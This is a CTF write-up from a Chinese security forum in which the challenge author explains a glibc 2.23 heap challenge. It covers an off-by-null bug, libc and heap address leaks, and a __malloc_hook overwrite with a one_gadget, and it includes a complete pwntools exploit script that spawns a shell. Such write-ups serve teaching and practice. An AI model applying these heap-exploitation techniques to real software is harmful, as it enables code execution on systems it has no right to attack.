吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 2792|回复: 14
收起左侧

[CTF] PolarCTF2023Fall : 夕阳下的舞者

[复制链接]
R00tkit 发表于 2023-9-26 14:21
本帖最后由 R00tkit 于 2023-9-26 14:22 编辑

前言

这是我出的一道赛题,主要考察 off-by-null 和对glibc源码的理解。靶场地址

562+5Liq5Yiw

检查文件信息

1

1

ELF64位小端序程序,动态链接。

2

2

除了FODRTIFY保护,其余保护全开。

patchelf --replace-needed libc.so.6 ./libc-2.23.so ./562+5Liq5Yiw
patchelf --set-interpreter ./ld-2.23.so ./562+5Liq5Yiw

将环境修改为题目的运行环境。

逆向分析

__int64 sub_A9D()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  puts("\x1B[1;33m Welcome to Chicken farm!!! \x1B[0m");
  puts("1.Add a Chicken.");
  puts("2.Delete a Chicken.");
  puts("3.Cook a chicken.");
  puts("4.Chicken you are so beautiful.");
  puts("5.EXIT.");
  _isoc99_scanf("%d", &v1);
  return v1;
}

sub_A9D()函数为程序菜单。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v4; // [rsp+Ch] [rbp-4h]

  sub_A50(a1, a2, a3);
  malloc(1uLL);
  puts(
    "==:.........................................................................=..::::..=:::::::::::\n"
    "===-:.......................................................................=..=-:=:.=:.:::::::::\n"
    "=====-......................................................................=..-:.=:.=:..::::::::\n"
    "=======:.........................................:..........................=..:--=..=:...:::::::\n"
    "========-:......................................:-=++-......................=..=.:=..=:....::::::\n"
    "==========-....................................:+**###+:....................=-::-----=:......::::\n"
    "===========-...............................:--:.+######=....................=.-:-:-:.=:.......:::\n"
    ":-=========-.............................:+###*:*#+#+*=:...................:=.---:--.=:........::\n"
    ":::-=======-............................:######:####+-......................-::::.::.=:.........:\n"
    "::::--=====-...........................:#++####=+####:.......................:--------..........:\n"
    "::::::--===-...........................#++++++#*-#++##:..........................................\n"
    "::::::::-==-..........................*++++++++#:+++++*..........................................\n"
    "::::::::::--..........................+++++++++#++#++++-.........................................\n"
    "::::::::::::..........................#++++++++#++#++++=.........................................\n"
    ":::::::::::::.........................=+++++++#+++##+++=.........................................\n"
    "..:::::::::::::........................*+++++#++++++#++:.........................................\n"
    "....:::::::::::::.......................#++++#=++++++#*..........................................\n"
    "......:::::::::::::.....................++*##**#++++#=:..........................................\n"
    "........:::::::::::::..................-==++++++*##*=:...........................................\n"
    ".........:::::::::::::................-======+==+++..............................................\n"
    "...........:::::::::::::..............-===+++++++++-.............................................\n"
    ".............:::::::::::::...........:===++++++++++=:............................................\n"
    "...............:::::::::::::.........===++*+-=***+++=............................................\n"
    "................::::::::::::::......-=+++*=...-*++++=............................................\n"
    "..................:::::::::::::....-==+++-.....=++++=:...........................................\n"
    "....................:::::::::::::..==+++-.......+++++-...........................................\n"
    "......................::::::::::::-=++*=........:*+++=...........................................\n"
    "........................::::::::::=+++-..........:+*++-.........................................:\n"
    ".........................::::::::-==+=:...........:+===........................................::\n"
    "::::.......................:::::-==++::::..........====:......................................:::\n"
    "::::::::::::::::::::::::::::----===+=::::::::::::::-+==-:::::::::::::::::::::::::::::::::::::::--\n"
    ":::::::::::::::::::::::::::::::-==++:::::::::::::::-+===::::::::::::::::::::::::::::::::::::-----\n"
    ":::::::::::::::::::::::::::::::-=++-::::::::::::::::+===:::::::::::::::::::::::::::::::::::::----\n"
    ":::::::::::::::::::::::::::::::=++=:::::::::::::::::====:::::::::::::::::::::::::::::::::::::::--\n"
    "::::::::::::::::::::::::::::::-+++::::::::::::::::::-+++::::::::::::::::::::::::::::::::::::::::-\n"
    "::::::::::::::::::::::::::::::+#+:::::::::::::::::::::*#-::::::::::::::::::::::::::::::::::::::::\n"
    "::::::::::::::::::::::::::::::##+:::::::::::::::::::::*#*::::::::::::::::::::::::::::::::::::::::\n"
    "::::::::::::::::::::::::::::-*###:::::::::::::::::::::###+:::::::::::::::::::::::::::::::::::::::");
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          v4 = sub_A9D();
          if ( v4 != 1 )
            break;
          sub_BFC();
        }
        if ( v4 != 2 )
          break;
        sub_D28();
      }
      if ( v4 != 3 )
        break;
      sub_EB3();
    }
    if ( v4 != 4 )
      break;
    sub_1005();
  }
  return 0LL;
}

可以看到是一道菜单题。

__int64 sub_BFC()
{
  int v1; // [rsp+4h] [rbp-Ch]
  int *v2; // [rsp+8h] [rbp-8h]

  v1 = sub_B34();
  if ( v1 == -1 )
  {
    puts("\x1B[1;31m The chicken nest collapsed!!! \x1B[0m");
  }
  else
  {
    v2 = (int *)malloc(0x20uLL);
    puts("\x1B[1;33m Give me the size of the chicken. \x1B[0m");
    _isoc99_scanf("%d", v2);
    *((_QWORD *)v2 + 1) = malloc(*v2);
    *((_QWORD *)v2 + 3) = malloc(0x80uLL);
    *((_QWORD *)v2 + 2) = malloc(0x20uLL);
    puts("\x1B[1;33m Give me the name of the chicken. \x1B[0m");
    sub_B74(*((_QWORD *)v2 + 1), (unsigned int)*v2);
    puts("\x1B[1;33m Give the chicken a mark. \x1B[0m");
    read(0, *((void **)v2 + 2), 0x20uLL);
    dword_203060[v1] = 1;
    qword_203080[v1] = v2;
  }
  return 0LL;
}

sub_BFC()函数创建了一个结构体,并且可以自定义chicken大小。数组qword_203080记录了每一个chicken,数组dword_203060记录了qword_203060的使用情况。可以向markname读入内容。并且未将v2+3处的内容初始化,可能存在泄露。

struct Chicken {
    int size;
    void* name;
    void* mark;
    void* msg; // 后面分析得知,这里记载的菜名。
};

根据读入情况,不难分析出结构体的内容。

__int64 sub_B34()
{
  int i; // [rsp+0h] [rbp-4h]

  for ( i = 0; i <= 7; ++i )
  {
    if ( !dword_203060[i] )
      return (unsigned int)i;
  }
  return 0xFFFFFFFFLL;
}

sub_B34()函数用于查看qword_203060数组的使用情况。

char *__fastcall sub_B74(char *a1, int a2)
{
  char *result; // rax

  read(0, a1, a2);
  result = &a1[a2];
  *result &= ~1u;
  return result;
}

sub_B74()函数置零操作存在off-by-null漏洞。

__int64 sub_D28()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  puts("\x1B[1;33m Which chicken will you kill? \x1B[0m");
  _isoc99_scanf("%d", &v1);
  if ( dword_203060[v1] )
  {
    *(_DWORD *)qword_203080[v1] = 0;
    dword_203060[v1] = 0;
    free(*(void **)(qword_203080[v1] + 8LL));
    *(_QWORD *)(qword_203080[v1] + 8LL) = 0LL;
    free(*(void **)(qword_203080[v1] + 16LL));
    *(_QWORD *)(qword_203080[v1] + 16LL) = 0LL;
    free(*(void **)(qword_203080[v1] + 24LL));
    qword_203080[v1] = 0LL;
  }
  else
  {
    puts("\x1B[1;31m The chicken has already been cooked. \x1B[0m");
  }
  return 0LL;
}

sub_D28()函数用于释放多块,没有问题。

__int64 sub_EB3()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  puts("\x1B[1;33m Which chicken will you cook? \x1B[0m");
  _isoc99_scanf("%d", &v1);
  if ( dword_203060[v1] )
  {
    puts("Old name");
    puts(*(const char **)(qword_203080[v1] + 8LL));
    puts("Give me new name.");
    read(0, *(void **)(qword_203080[v1] + 8LL), *(int *)qword_203080[v1]);
    puts("New name");
    puts(*(const char **)(qword_203080[v1] + 8LL));
    puts("Give me Cook name.");
    sub_BC0(v1);
  }
  else
  {
    puts("\x1B[1;31m Ni gun ma i u. \x1B[0m");
  }
  return 0LL;
}

sub_EB3()函数用于改名字,并记录菜名。

ssize_t __fastcall sub_BC0(int a1)
{
  return read(0, *(void **)(qword_203080[a1] + 24LL), 0x80uLL);
}

sub_BC0()函数用于读取菜名。

__int64 sub_1005()
{
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 7; ++i )
  {
    printf("The chicken %d\n", (unsigned int)i);
    if ( dword_203060[i] )
    {
      puts("\x1B[1;33m Name \x1B[0m");
      puts(*(const char **)(qword_203080[i] + 8LL));
      puts("\x1B[1;33m ErrMsg \x1B[0m");
      puts(*(const char **)(qword_203080[i] + 24LL));
      puts("\x1B[1;33m Mark \x1B[0m");
      puts(*(const char **)(qword_203080[i] + 16LL));
    }
  }
  return 0LL;
}

sub_1005()函数用于打印所有信息。这里菜名被标记为ErrMsg

漏洞利用

我们可以通过sub_BFC()函数未初始化的ErrMsg(菜名)sub_1005()来进行信息泄露,得到heaplibc地址。然后利用off-by-null漏洞制造堆块重叠,向fastbin中写入__malloc_hook地址,然后篡改其为one_gadget来获取权限。

前置脚本

from pwn import *

#context.log_level='debug'
context.log_level='info'
context.terminal=['tmux', 'splitw', '-h']
context.arch='amd64'
is_local = False
is_debug = True

def connect():
    global elf, libc, p
    elf = ELF('./562+5Liq5Yiw')
    libc = ELF('./libc-2.23.so')
    if is_local:
        p = process('./562+5Liq5Yiw')
    else:
        p = remote('IP', port)

def debug(gdbscript=""):
    if is_debug:
        gdb.attach(p, gdbscript=gdbscript)
        pause()
    else:
        pass

def Add(size, data, mark):
    p.recvuntil(b"5.EXIT.\n")
    p.sendline(b'1')
    p.recvuntil(b"\x1B[1;33m Give me the size of the chicken. \x1B[0m\n")
    p.sendline(str(size).encode())
    p.recvuntil(b"\x1B[1;33m Give me the name of the chicken. \x1B[0m\n")
    p.send(data)
    p.recvuntil(b"\x1B[1;33m Give the chicken a mark. \x1B[0m\n")
    p.send(mark)

def Delete(idx):
    p.recvuntil(b"5.EXIT.\n")
    p.sendline(b'2')
    p.recvuntil(b"\x1B[1;33m Which chicken will you kill? \x1B[0m\n")
    p.sendline(str(idx).encode())

def Cook(idx, name, cook):
    p.recvuntil(b"5.EXIT.\n")
    p.sendline(b'3')
    p.recvuntil(b"\x1B[1;33m Which chicken will you cook? \x1B[0m\n")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Give me new name.\n")
    p.send(name)
    p.recvuntil(b"Give me Cook name.\n")
    p.send(cook)

def Black():
    p.recvuntil(b"5.EXIT.\n")
    p.sendline(b'4')

定义了函数接口和前置操作。

泄露libc地址

def get_libc():
    global __malloc_hook, libc_base
    Add(0x20, b'a'*20, b'b'*20)
    Delete(0)
    Add(0x20, b'c'*20, b'd'*20)
    Black()
    p.recvuntil(b"0\n")
    p.recvuntil(b"\x1B[1;33m ErrMsg \x1B[0m\n")
    libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00'))-0x3c4b78
    log.success("libc : 0x%x" % libc_base)
    __malloc_hook = libc_base + libc.symbols["__malloc_hook"]

本题泄露利用unsorted bin中保存的libc地址与libc基址的固定偏移获取libc基址。因为结构体在初始化时并未初始化ErrMsg的值,并且其大小为0x90,我们申请一个结构体再将其释放,再次申请时可将其从unsorted bin中申请出来,然后可以通过打印函数打印unsorted bin中的内容。

3

3

在打印前下断点可以看到,此时ErrMsg中保存的值为libc地址。由于libc中的地址固定偏移不受pieaslr保护影响,可以由此计算出libc基址。

泄露heap地址

def get_heap():
    global heap_addr
    Add(0x80, b'e'*0x20, b'f'*0x10) # 1
    Add(0x80, b'g'*0x20, b'h'*0x10) # 2
    Add(0x80, b'i'*0x20, b'j'*0x10) # 3

    Delete(1)
    Delete(3)
    Add(0x20, b'i'*0x20, b'j'*0x10) # 1
    Cook(1, b'a'*0x10, b'cccccccn');
    Black()
    p.recvuntil(b"1\n")
    p.recvuntil(b"\x1B[1;33m ErrMsg \x1B[0m\n")
    p.recvuntil(b'cccccccn')
    heap_addr = u64(p.recvline()[:-1].ljust(8, b'\x00'))
    log.success("heap : 0x%x" % heap_addr)

堆地址也可以通过unsorted binbk指针泄露,我们将两个不连续的non-fast大小的堆块放入unsorted bin中,由于unsorted bin采取先进先出模式,所以我们会将结构体1重新申请出来,它ErrMsgbk位置便是结构体3的地址。然后通过改名函数将ErrMsg的前八个字节覆盖满,然后便可通过打印函数将堆地址泄露。

4

4

同样在打印前下一个断点,可以看到其bk位置为一个堆地址。

通过修改__malloc_hook为one_gadget地址get_shell

def get_shell():
    Add(0x80, b'i'*0x20, b'j'*0x10) # 3
    Add(0x60, p64(0) + p64(0x320) + p64(heap_addr+0x190) + p64(heap_addr+0x190), b'b'*0x10) # 4
    Add(0x60, b'c'*0x10, b'd'*0x10) # 5
    Add(0x60, b'e'*0x10, b'f'*0x10) # 6
    Add(0x60, b'h'*0x10, b'j'*0x10) # 7
    Delete(6)
    Add(0x68, b'k'*0x60 + p64(0x320), b'j'*0x10) # 6
    Delete(6)
    Add(0x2D0, b'a'*0x2A0 + p64(0) + p64(0x71) + p64(__malloc_hook-0x23) + p64(0xdeadbeef), b'b'*0x10) # 6
    Delete(0)
    Delete(1)
    Delete(2)
    Add(0x60, b'a'*0x10, b'b'*0x10) # 0
    one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
    Add(0x60, b'a'*0x13+p64(libc_base+one[1]), b'c'*0x10) # 1
    Delete(4)

因为Add函数存在off-by-null漏洞,所以我们可以制造一个堆块重叠,将一个fast chunk包含在其中,这里需要注意的时,我们要绕过unlink检查,需要将伪造的fake chunkfdbk指向它本身。然后计算好偏移将fast chunkfd位置改为__malloc_hook附近包含__malloc_hook大小的fake chunk的位置。然后将__malloc_hook改为one_gadget。此时四个one_gadget都无法打通,我们可以free一个错误的chunk来调用malloc_printerr函数,这个函数中存在其他的调用,最后会调用到malloc,然后便可调用one_gadget

5

5

通过find_fake_fast来寻找__malloc_hook附近的fake_chunkfake_chunkprev_size距离__malloc_hook有0x23大小。所以填充0x13字节即可覆盖到目标地址。

6

6

我们可以通过k来查看函数调用栈,发现free报错后会在动态链接器调用malloc

7

7

可以在源码中发现,由于free一个错误堆块调用了malloc_printerr函数,最后在dl-error.c调用了malloc函数。

完整exp

from pwn import *

#context.log_level='debug'
context.log_level='info'
context.terminal=['tmux', 'splitw', '-h']
context.arch='amd64'
is_debug = False
is_local = False

def connect():
    global elf, libc, p
    elf = ELF('./562+5Liq5Yiw')
    libc = ELF('./libc-2.23.so')
    if is_local:
        p = process('./562+5Liq5Yiw')
    else:
        p = remote('IP', port)

def debug(gdbscript=""):
    if is_debug:
        gdb.attach(p, gdbscript=gdbscript)
        pause()
    else:
        pass

def Add(size, data, mark):
    p.recvuntil(b"5.EXIT.\n")
    p.sendline(b'1')
    p.recvuntil(b"\x1B[1;33m Give me the size of the chicken. \x1B[0m\n")
    p.sendline(str(size).encode())
    p.recvuntil(b"\x1B[1;33m Give me the name of the chicken. \x1B[0m\n")
    p.send(data)
    p.recvuntil(b"\x1B[1;33m Give the chicken a mark. \x1B[0m\n")
    p.send(mark)

def Delete(idx):
    p.recvuntil(b"5.EXIT.\n")
    p.sendline(b'2')
    p.recvuntil(b"\x1B[1;33m Which chicken will you kill? \x1B[0m\n")
    p.sendline(str(idx).encode())

def Cook(idx, name, cook):
    p.recvuntil(b"5.EXIT.\n")
    p.sendline(b'3')
    p.recvuntil(b"\x1B[1;33m Which chicken will you cook? \x1B[0m\n")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Give me new name.\n")
    p.send(name)
    p.recvuntil(b"Give me Cook name.\n")
    p.send(cook)

def Black():
    p.recvuntil(b"5.EXIT.\n")
    p.sendline(b'4')

def get_libc():
    global __malloc_hook, libc_base
    Add(0x20, b'a'*20, b'b'*20) # 0 errmsg_0x90->unsorted
    Delete(0) # errmsg_0x90->unsorted
    Add(0x20, b'c'*20, b'd'*20) # 0 # unsorted->errmsg_0x90
    Black()
    #debug() # db1
    p.recvuntil(b"0\n")
    p.recvuntil(b"\x1B[1;33m ErrMsg \x1B[0m\n")
    libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x3c4b78
    log.success("libc : 0x%x" % libc_base)
    __malloc_hook = libc_base + libc.symbols["__malloc_hook"]
    sleep(0.5)

def get_heap():
    global heap_addr
    Add(0x80, b'e'*0x20, b'f'*0x10) # 1
    Add(0x80, b'g'*0x20, b'h'*0x10) # 2
    Add(0x80, b'i'*0x20, b'j'*0x10) # 3
    Delete(1)
    Delete(3)
    #debug() # db2
    Add(0x20, b'i'*0x20, b'j'*0x10) # 1
    Cook(1, b'a'*0x10, b'cccccccn')
    Black()
    #debug() # db3
    p.recvuntil(b"1\n")
    p.recvuntil(b"\x1B[1;33m ErrMsg \x1B[0m\n")
    p.recvuntil(b'cccccccn')
    heap_addr = u64(p.recvline()[:-1].ljust(8, b'\x00'))
    log.success("heap : 0x%x" % heap_addr)
    sleep(0.5)

def get_shell():
    Add(0x80, b'i'*0x20, b'j'*0x10) # 3
    Add(0x60, p64(0) + p64(0x320) + p64(heap_addr+0x190) + p64(heap_addr+0x190), b'b'*0x10) # 4 first 0x71
    Add(0x60, b'c'*0x10, b'd'*0x10) # 5
    Add(0x60, b'e'*0x10, b'f'*0x10) # 6
    Add(0x60, b'h'*0x10, b'j'*0x10) # 7
    #debug() # db4
    Delete(6)
    #debug() # db5
    Add(0x68, b'k'*0x60 + p64(0x320), b'j'*0x10) # 6 off-by-null
    #debug() # db6
    Delete(6)
    #debug() # db7
    Add(0x2D0, b'a'*0x2A0 + p64(0) + p64(0x71) + p64(__malloc_hook-0x23) + p64(0xdeadbeef), b'b'*0x10) # 6
    #debug() # db8
    Delete(0)
    Delete(1)
    Delete(2)
    Add(0x60, b'a'*0x10, b'b'*0x10) # 0
    one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
    Add(0x60, b'a'*0x13+p64(libc_base+one[1]), b'c'*0x10) # 1

    #gdb.attach(p, 'b *_dl_signal_error')
    Delete(4)
    #pause()
    sleep(0.5)

def pwn():
    connect()
    get_libc()
    get_heap()
    get_shell()
    p.interactive()

if __name__ == '__main__':
    pwn()



免费评分

参与人数 4吾爱币 +12 热心值 +4 收起 理由
笙若 + 1 + 1 谢谢@Thanks!
Hmily + 7 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
peiwithhao + 3 + 1 看到一位故人
Horrendous + 1 + 1 暗藏玄鸡

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

Phantom可 发表于 2023-9-26 17:59
闻鸡起舞啊 这是
正己 发表于 2023-9-26 19:18
 楼主| R00tkit 发表于 2023-9-26 20:00
qfsw 发表于 2023-9-26 22:38
这个舞者,可以穿背带裤吗?
w547890 发表于 2023-9-26 23:09
这个舞者,可以穿背带裤吗?
tomliu 发表于 2023-9-27 13:42
这题好难
 楼主| R00tkit 发表于 2023-9-27 14:20

可以试试改 __malloc_hook 为 system 然后 malloc("/bin/sh\x00") 试试
LHCAILGT 发表于 2023-10-12 12:30
这个非常好,感谢分享
gy001715 发表于 2023-10-15 19:04
感谢分享
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-6-13 14:16

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表